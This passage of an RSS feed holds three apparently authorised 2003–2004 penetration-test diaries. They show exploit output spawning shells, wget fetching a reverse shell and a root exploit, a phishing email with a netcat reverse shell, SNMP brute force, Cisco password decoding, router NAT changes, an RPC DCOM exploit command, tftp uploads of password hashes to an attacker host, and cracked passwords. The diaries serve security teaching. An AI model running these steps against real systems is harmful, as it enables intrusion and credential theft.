ssl2 : 0x811c038</p>
<p>: Sending shellcode<br />
-> send_client_hello<br />
-> get_server_hello<br />
ciphers: 0x811c038   start_addr: 0x811bf78   SHELLCODE_OFS: 208<br />
-> send_client_master_key<br />
-> generate_session_keys<br />
-> get_server_verify<br />
-> send_client_finished<br />
-> get_server_error<br />
Execution of stage1 shellcode succeeded, sending stage2<br />
Spawning shell...</p>
<p>bash: no job control in this shell<br />
<b>bash-2.05$</b> </p>
<p>bash-2.05$ <b>uname -a; id; w;</b>&#8592;[K<br />
Linux box82 2.4.18-6mdk #1 Fri Mar 15 02:59:08 CET 2002 i586 unknown<br />
uid=48(apache) gid=48(apache) groups=48(apache)<br />
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT<br />
root     vc/1     -                 2:31pm  7:23   0.41s  0.36s  -bash<br />
<b>bash-2.05$ </b></code></p>
<p><b>12.</b>	The shell I get is a bit shifty, and echo&#8217;s all my commands twice. I decide to upload a reverse bindshell onto the mandrake box, and make it connect back to my attacking machine. I do this by using wget, and retrieving the rbs.c file from www.secureit.co.il. </p>
<p><center><img src="http://images.ientrymail.com/networknewz/021604figure6.gif"></center></p>
<p><b>13.</b>	Once that&#8217;s done, I compile and execute the reverse bind shell, while netcat is listening on port 4000 on the attacking machine. This gives me a cleaner shell, with &#8220;apache&#8221; user privileges. </p>
<p><center><img src="http://images.ientrymail.com/networknewz/021604figure7.gif"></center></p>
<p><b>14.</b>	Vaguely remembering the output of the uname command (Linux box82 2.4.18-6mdk) I decide to attempt a privilege escalation attack using the Linux kernel ptrace/kmod local root exploit, which should work under several 2.2.x and 2.4.x kernels.</p>
<p><b>15.</b>	I download (wget, again) compile and execute the exploit, hoping for the best.</p>
<p><center><img src="http://images.ientrymail.com/networknewz/021604figure8.gif"></center></p>
<p><b>16.</b>	The exploit was successful, and we now have root privileges on the mandrake box. The .doc file was located in /root/C.doc.</p>
<p>Mati Aharoni, MCSES, MCT, CCNA, CCSA, CISSP<br />
<br />Visit the Security through Hacking Web site at http://www.secureit.co.il for additional information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webpronews.com/how-i-got-root-a-penetration-testers-diary-2004-02/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Penetration Test : My Meanest Hack</title>
		<link>http://www.webpronews.com/penetration-test-my-meanest-hack-2004-02</link>
		<comments>http://www.webpronews.com/penetration-test-my-meanest-hack-2004-02#comments</comments>
		<pubDate>Tue, 10 Feb 2004 17:30:44 +0000</pubDate>
		<dc:creator>Mati Aharoni</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Penetration]]></category>
		<category><![CDATA[WAS]]></category>

		<guid isPermaLink="false">http://www.webpronews.com/?p=8680</guid>
		<description><![CDATA[I was requested to perform a proof of concept hack into a large organization a few weeks ago. The aim was to get an interactive session, preferably GUI, on one of the internal machines which was guarded by 2 (External and DMZ) firewalls, and an Intrusion detection system. I was allowed to use any means necessary to achieve this goal. This is extremely unusual for a penetrations test, where the rules, guidelines and penetration methods are very strict and defined. I was supposed to impersonate a hacker that would stop at nothing to gain interactive access to the internal network.
]]></description>
			<content:encoded><![CDATA[<p>I was requested to perform a proof of concept hack into a large organization a few weeks ago. The aim was to get an interactive session, preferably GUI, on one of the internal machines which was guarded by 2 (External and DMZ) firewalls, and an Intrusion detection system. I was allowed to use any means necessary to achieve this goal. This is extremely unusual for a penetrations test, where the rules, guidelines and penetration methods are very strict and defined. I was supposed to impersonate a hacker that would stop at nothing to gain interactive access to the internal network.</p>
<p>Obviously, there was no external access to this machine from the internet, so I had to plan the attack carefully.I decided to use some social engineering skills to initiate a connection from the internal network to my attacking machine, as this was the only way to establish communications with my target.</p>
<p>I called up the organization, and asked to speak with the secretary working on my target computer. I told her that &#8220;I was interested in buying one of their products, and I would like to send her an email with a few questions, before I make the purchase&#8221;. She gladly complied, and disclosed her email address to me.</p>
<p>I crafted a special html email, with a reverse shell (netcat) payload, which would self execute, once the email was opened. A few minutes later, she received the email, opened it, thus shovelling a shell to my listening machine. Let the games begin.</p>
<p><center><img src="http://images.ientrymail.com/sysadminnews/021204figure1.gif"></center></p>
<p>Once I had the shell, I had to create some &#8220;Backup Shells&#8221; in case the connection gets severed. There&#8217;s nothing worse than losing the only single connection to a penetrated machine I did this using the &#8220;at&#8221; command, sending myself a NetCat shell every 15 minutes. I found myself smiling every 15 minutes.</p>
<p><center><img src="http://images.ientrymail.com/sysadminnews/021204figure2.gif"></center></p>
<p>Once this was done, my first instinct was to start uploading my toolkit to this machine using tftp, however it seemed that there were very restrictive firewall policies on outgoing connections in the internal network. TFTP just didn&#8217;t go through.</p>
<p>By echoing ftp commands into a text file, I downloaded a small toolkit to the victim machine, which included some VNC files, and a custom made registry file, which places VNC setting (such as a VNC password and a setting which allows to connect to VNC locally &#8211; more on that later). </p>
<p><img src="http://images.ientrymail.com/sysadminnews/021204code1.gif"></p>
<p>From this point onwards, I followed the instructions from <a href="http://guh.nu">http://guh.nu</a> to remotely install vnc, as can be summarized from these commands:</p>
<p><img src="http://images.ientrymail.com/sysadminnews/021204code2.gif"></p>
<p>Now I had VNC installed on the remote machine, but there was no way to get to port 5900 (VNC) in order to connect to it (2 firewalls, and fascist outbound rules). </p>
<p>I decided to implement a UNIX scenario by which one can tunnel ports via SSH to remote machines. The SSH client I found suitable for this job was plink.exe (the putty command line client).<br />
I installed the SSH server found in Cygwin on my attacking machine, at proceeded to tunnel port 5900 from the victim machine, to my own:</p>
<p><center><img src="http://images.ientrymail.com/sysadminnews/021204figure3.gif"></center></p>
<p>The SSH connection had been made, and from a local netstat -a on my machine, I could see that port 5900 was successfully mapped to my attacking computer.</p>
<p><img src="http://images.ientrymail.com/sysadminnews/021204code3.gif"></p>
<p>I quickly whipped out my VNC client, and attempted to connect locally to port 5900:</p>
<p><center><img src="http://images.ientrymail.com/sysadminnews/021204figure4.gif"></center></p>
<p>To my surprise, I was welcomed with a password prompt:</p>
<p><center><img src="http://images.ientrymail.com/sysadminnews/021204figure5.gif"></center></p>
<p>And immediately after, I had a remote VNC session to the attacked machine. </p>
<p><center><img src="http://images.ientrymail.com/sysadminnews/021204figure6.gif"></center></p>
<p>I had tunneled stuff via SSH many times in Linux environments, however this was the first time I attempted to do in under Windows. </p>
<p>I was blown away by the Speed of the VNC session (due to the compression on the SSH channel), and by the fact that it actually worked. I thought of releasing a stray KaHt2.exe into the internal network (all in GUI, of course), however, my objectives had been achieved, and it was very late at night.</p>
<p>Mati Aharoni, MCSES, MCT, CCNA, CCSA, CISSP<br />
<br />Visit the Security through Hacking Web site at http://www.secureit.co.il for additional information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webpronews.com/penetration-test-my-meanest-hack-2004-02/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A White Hat&#8217;s Penetration Test</title>
		<link>http://www.webpronews.com/a-white-hats-penetration-test-2003-12</link>
		<comments>http://www.webpronews.com/a-white-hats-penetration-test-2003-12#comments</comments>
		<pubDate>Mon, 15 Dec 2003 21:04:49 +0000</pubDate>
		<dc:creator>Mati Aharoni</dc:creator>
				<category><![CDATA[Business]]></category>
		<category><![CDATA[Penetration]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://www.webpronews.com/?p=8337</guid>
		<description><![CDATA[This tutorial is more of a "case study", in which I describe a recent penetration test I performed. Due to the success of the penetration test (in a relatively very short time) I decided to share this experience with you.
]]></description>
			<content:encoded><![CDATA[<p>This tutorial is more of a &#8220;case study&#8221;, in which I describe a recent penetration test I performed. Due to the success of the penetration test (in a relatively very short time) I decided to share this experience with you.</p>
<p>Please note that all identifying details such as IP addresses and hostnames have been changed, to protect the vulnerable and innocent. </p>
<p>I would like to thank my anonymous client for allowing me to write up and publish this article.</p>
<p><b>Chain of Events:</b></p>
<p><b>1:20 am</b><br />
I sit down in front of my screen, with a fresh cup of coffee. My goal is to remotely penetrate company.com, at their request, of course. The only prior information I have, is their domain name &#8211; company.com.</p>
<p><b>1:22 am</b><br />
I decide to start out with a bit of DNS enumeration, in order to identify company.com&#8217;s gateway routers / computers, and get a general idea about what kind of network they have. I use &#8216;nslookup&#8217; to do this.</p>
<p><span style="background-color: #B5DBFF;"> <code><b>Gentoo Tools # nslookup</b></p>
<p>Note:  nslookup is deprecated and may be removed from future releases.</p>
<p>Consider using the `dig' or `host' programs instead.  Run nslookup with</p>
<p>the `-sil[ent]' option to prevent this message from appearing.<br />> <b>set type=ns</b></p>
<p>> <b>company.com</b></p>
<p>Server:         dns.isp.net</p>
<p>Address:        dns.isp.net#53</p>
<p>Non-authoritative answer: </p>
<p>company.com  nameserver = dns.isp.net. </p>
<p>company.com  nameserver = dns2.isp.net. </p>
<p>Authoritative answers can be found from: </p>
<p>dns.isp.net        internet address = 193.117.205.95</p>
<p>dns2.isp.net       internet address = 193.117.205.94</p>
<p>> <b>set type=mx</b></p>
<p>> <b>company.com</b></p>
<p>Server:         dns.isp.net</p>
<p>Address:        dns.isp.net#53</p>
<p>company.com  mail exchanger = 10 mail.isp.net. </p>
<p>company.com  mail exchanger = 0 mail.company.com. </p>
<p>></code></span></p>
<p>Nslookup suggests that company.com&#8217;s dns records are managed by their ISP, which minimizes the probability of a successful DNS zone transfer .</p>
<p>I attempt to identify company.com&#8217;s mail server, which ends up being &#8220;mail.company.com&#8221; (at cost 0). This suggests that company.com host their own mail server, on site.</p>
<p><b>1:30 am</b><br />
I run nmap on mail.company.com, and find a variety of services running on it.</p>
<p><span style="background-color: #B5DBFF;"><code><b>Gentoo Tools # nmap -sS mail.company.com</b></p>
<p>Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2003-10-19 19:40 IST</p>
<p>Interesting ports on mail.company.com (234.212.54.3): </p>
<p>(The 1644 ports scanned but not shown below are in state: closed) </p>
<p>PORT      STATE    SERVICE</p>
<p>23/tcp    open     telnet</p>
<p>25/tcp    open     smtp</p>
<p>79/tcp    open     finger</p>
<p>80/tcp    open     http</p>
<p>110/tcp   open     pop-3</p>
<p>143/tcp   open     imap</p>
<p>Nmap run completed -- 1 IP address (1 host up) scanned in 26.304 seconds</p>
<p><b>Gentoo Tools #</b></code></span></p>
<p>&#8220;Strange&#8221; I think to myself. &#8220;A Mail server running &#8216;Finger&#8217; service?&#8221;.  I run a quick UDP scan.</p>
<p><span style="background-color: #B5DBFF;"><code><b>Gentoo Tools # nmap -sU -p 161-162 mail.company.com</b></p>
<p>Starting nmap 3.45 ( http://www.insecure.org/nmap/ ) at 2003-10-19 19:48 IST></p>
<p>Interesting ports on mail.company.com (234.212.54.3): ></p>
<p>PORT    STATE  SERVICE></p>
<p>161/udp open   snmp></p>
<p>162/udp closed snmptrap></p>
<p>Nmap run completed -- 1 IP address (1 host up) scanned in 2.119 seconds></p>
<p><b>Gentoo Tools #</b></code></span></p>
<p>&#8220;Hmm, SNMP is enabled&#8230;Could this be a router?&#8221;. </p>
<p>A quick telnet command to mail.company.com verifies my suspicions.</p>
<p>I immediately recognize the Cisco Telnet banner.</p>
<p><span style="background-color: #B5DBFF;"><code><b>Gentoo Tools # nc -v mail.company.com 23</b> </p>
<p>mail.company.com [234.212.54.3] 23 (telnet) open</p>
<p>?</p>
<p>User Access Verification</p>
<p>Password:  </p>
<p><b>Gentoo Tools #</b></code></span></p>
<p>Apparently, mail.company.com is a router, PAT&#8217;ing ports into Internal Server(s) (Pop3, Http, Imap). </p>
<p>My next action is to attempt to identify  the router, hoping it really is a Cisco. This can be done with SNMP &#8211; and Phillip Waytaens&#8217; SNMPEnum would do the job perfectly. The following is a shortened output of SNMPEnum:</p>
<p><span style="background-color: #B5DBFF;"><code>Gentoo snmp # <b>perl -w snmpenum.pl 234.212.54.3 public cisco.txt</b></p>
<p>----------------------------------------</p>
<p>        SYSTEM INFO</p>
<p>---------------------------------------- </p>
<p>Cisco Internetwork Operating System Software</p>
<p>IOS (tm) Software, Version 12.0(5)T,  RELEASE SOFTWARE </p>
<p>Copyright (c) 1986-1999 by cisco Systems, Inc. </p>
<p>Compiled Thu 23-Jul-99 13:14 by C</p>
<p>Gentoo snmp #</code></span></p>
<p>I use the SNMPEnum script, assuming that the SNMP public community string is &#8220;public&#8221; (As SNMP is often misconfigured). Fortunately for me, this assumption is correct &#8211; However, the &#8220;read&#8221; community string has been changed.</p>
<p>I whip out my favorite SNMP community string bruteforce tool (Solarwinds SNMP Dictionary attack), and start pounding at the router, with my favorite dictionary file.</p>
<p><center><img src="http://images.ientrymail.com/securitypronews/121603figure6.gif"></center></p>
<p>After a (long) while, I see the good news I was hoping for. I finally have the read-write community string. This would probably allow me to download the router&#8217;s configuration (SNMP allows this). A quick turn with the modified &#8220;snmpbrute&#8221;, and I tftp the router configuration file straight to my attacking machine. </p>
<p><b>1:55 am</b><br />
Doing the &#8220;Wild Indian rain dance&#8221;. I go to the kitchen for some more coffee.</p>
<p><b>1:58 am</b><br />
I start looking at the cisco configuration file. It seems  that the login and enable passwords are the same. I use a perl script to decrypt the &#8220;type 7&#8243; cisco encryption. The password turns out to be &#8220;therouter&#8221;.</p>
<p><span style="background-color: #B5DBFF;"><code>Current configuration: <br />! <br />version 12.2<br />no service pad<br />! <br />hostname mail.company.com<br />! <br />enable password 7 0958460C0B0A02060E1E<br />! <br /> login<br /> transport input none<br /> stopbits 1<br />line vty 0 4<br /> password 7 0958460C0B0A02060E1E<br /> login<br />! <br />end</code></span></p>
<p>A deeper look into the router&#8217;s configuration file, reveals their Internal mail / web server&#8217;s internal address &#8211; 172.16.0.5. </p>
<p>The following is part of the Cisco configuration file that NAT&#8217;s the ports from the router, to the internal mail/web server :</p>
<p><span style="background-color: #B5DBFF;"><code>! </p>
<p>ip nat inside source static tcp 172.16.0.5 143 234.212.54.3 143 extendable</p>
<p>ip nat inside source static tcp 172.16.0.5 80 234.212.54.3 80 extendable</p>
<p>ip nat inside source static tcp 172.16.0.5 110 234.212.54.3 110 extendable</p>
<p>ip nat inside source static tcp 172.16.0.5 25 234.212.54.3 25 extendable</p>
<p>!</code></span></p>
<p><b>2:30 am</b><br />
I sip my cold coffee, and start profiling the information I have up to now. In the backround, I verify that their internal server is indeed running windows 2000.</p>
<p><span style="background-color: #B5DBFF;"><code>Gentoo# <b>nc -n 234.212.54.3 80</b> </p>
<p>HTTP/1.1 400 Bad Request<br />Server: Microsoft-IIS/5.0<br />Date: Wed, 29 Oct 2003 20:09:02 GMT<br />Content-Type: text/html<br />Content-Length: 87</p>
<p>Gentoo#<b> nc -n 234.212.54.3 110</b></p>
<p>+OK Microsoft Exchange 2000 POP3 server version 6.0.6249.0 (main.company.com) ready.</p>
<p>Gentoo#</code></span></p>
<p>&#8220;Their internal server is most probably running Windows 2000. What are the chances that company.com feels secure &#8211; thinking that they are protected by their router? What are the chances they havn&#8217;t patched their internal servers against some major vulnerabilities?&#8221; I decided to give it a shot. </p>
<p><b>2:38 am</b><br />
My first choice is to attempt to use the rpc dcom exploit on their internal server, but in order to do this, I have to open up a few more ports on the router, and direct them to the internal mail / web server.</p>
<p><span style="background-color: #B5DBFF;"><code>Router#<b>conf t </b><br />Enter configuration commands, one per line.  End with CNTL/Z. </p>
<p>Router(config)#<b>ip nat inside source static tcp 172.16.0.5 139 234.212.54.3 139 extendable</b></p>
<p>Router(config)#<b>ip nat inside source static tcp 172.16.0.5 135 234.212.54.3 135 extendable</b></p>
<p>Router(config)#<b>ip nat inside source static tcp 172.16.0.5 445 234.212.54.3 445 extendable</b></p>
<p>Router(config)#<b>ip nat inside source static tcp 172.16.0.5 3389 234.212.54.3 3389 extendable</b></p>
<p>Router(config)#<b>ip nat inside source static tcp 172.16.0.5 10000 234.212.54.3 10000 extendable</b></code></span></p>
<p>While I&#8217;m at it, I&#8217;ll open up all Netbios ports (for later SMB enumeration), and terminal services (I&#8217;m feeling lucky). I also open port 10000, knowing i&#8217;ll need to open an extra port in order to connect my shell to the internal server. </p>
<p>I whip out my exploit toolkit (framework) and send the RPC Dcom exploit to the router, knowing that the exploit would be redirected to the internal server due to my recent NAT modificationson the router.</p>
<p><span style="background-color: #B5DBFF;"><code>Gentoo #<b> ./cli exp/msrpc_dcom1_overflow.exp payload=winbind rhost=mail.company.com lport=10000 OS=2K E </b></p>
<p> [*] Generating payload winbind (x86, win32, bind)... </p>
<p> [*] Payload generation complete (668 bytes) </p>
<p> [*] Using return address 0x77838eef with scratch pad at 0x7ffde0cc </p>
<p> [*] Connected to mail.company.com:10000... </p>
<p>  Microsoft Windows 2000 [Version 5.00.2195] </p>
<p> (C) Copyright 1985-2000 Microsoft Corp. </p>
<p>  C:WINNTsystem32> </code></span></p>
<p><b>3:01 am</b><br />
Time for more coffee. It seems that my assumption paid off, this company has NOT patched their internal servers, due to a false sense of security. I now have SYSTEM privilages on their web / mail server.<br />
I quickly upload pwdump4.exe in order to dump the password hashes to a files, for later, local cracking. </p>
<p>Once the hashes are dumped to a file, I tftp this file from their internal webserver back to my attacking machine.</p>
<p><span style="background-color: #B5DBFF;"><code>Microsoft Windows 2000 [Version 5.00.2195]<br />  (C) Copyright 1985-2000 Microsoft Corp. </p>
<p>  C:WINNTsystem32><b>tftp -i my.attacking.ip GET pwdump4.exe</b> </p>
<p> C:WINNTsystem32><b>pwdump4.exe 127.0.0.1 >company.com.hashes.txt</b></p>
<p> C:WINNTsystem32><b>tftp -i my.attacking.ip PUT company.com.hashes.txt</b></p>
<p> C:WINNTsystem32></code></span></p>
<p>Usually, I&#8217;d use &#8216;john the ripper&#8217; to crack these password hashes, however, I recently finished generating rainbow-crack&#8217;s hash tables, and I thought i&#8217;de give it a try.</p>
<p><span style="background-color: #B5DBFF;"><code>D:TOOLSpasswordRTGEN><b>rcrack.exe *.rt -f hash.txt</b> </p>
<p>reading lm_alpha-numeric_0_2400x40000000_bla.rt ... </p>
<p>315498496 bytes read, disk access time: 17.49 s</p>
<p>verifying the file ... </p>
<p>searching for 29 hashes ... </p>
<p>plaintext of df168b2dd34bad07 is ***</p>
<p>plaintext of ac59766adf048863 is ***</p>
<p>... </p>
<p>statistics</p>
<p>------------------------------------------</p>
<p>plaintext found:          24 of 29 (82.76%)</p>
<p>total disk access time:   155.57 s</p>
<p>total cryptanalysis time: 428.81 s</p>
<p>total chain walk step:    151943227</p>
<p>total false alarm:        66931</p>
<p>total false alarm step:   56200430</p>
<p>username      password</p>
<p>------------------------------------------</p>
<p><b>Administrator T3L3PITA</p>
<p>Dudu	              SINDY</p>
<p>Anat	              REUVEN101</b></p>
<p>.... </p>
<p>D:TOOLSpasswordRTGEN></code></span></p>
<p>Rainbow-crack proved to be an invaluable tool, and shortened the whole process of NTLM hash cracking to less than 10 minuets. Using john the ripper, this could have taken anywhere from one week to a couple of months.</p>
<p><b>3:30 am</b><br />
Once the administrator password is found, I attempt to connect to port 3389 on mail.company.com &#8211; hoping that per-chance terminal services is enabled. It seems that lady luck was is my favor &#8211; and I receive a terminal services window. Using the cracked Administrator password, I log into the the web server &#8211; Mission completed.</p>
<p><b>3:37 am</b><br />
To completely consolidate my control of the client&#8217;s network, I upload a modified version of KaHT II (the RPC DCOM autohacker) and edit the macros.txt file, so that each successful exploitation would tftp the &#8216;repair&#8217; sam file to my attacking machine.</p>
<p>At this stage, I stop my attack on the client&#8217;s network, as the contract objectives are completed.</p>
<p><b>3:57 am</b><br />
I take one last sip &#8211; What would I do without my coffee?</p>
<p><a href="http://www.ientry.com/page/newsletters/"><u>Click here</u> <font color="red">to sign up for FREE Tech. newsletters from iEntry!</font></a></p>
<p>Mati Aharoni, MCSES, MCT, CCNA, CCSA, CISSP<br />
<br />Visit the Security through Hacking Web site at http://www.secureit.co.il for additional information.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.webpronews.com/a-white-hats-penetration-test-2003-12/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Page Caching using memcached
Database Caching 1/39 queries in 0.017 seconds using memcached
Object Caching 533/630 objects using memcached

Served from: webpronews.com @ 2012-02-13 10:33:40 -->
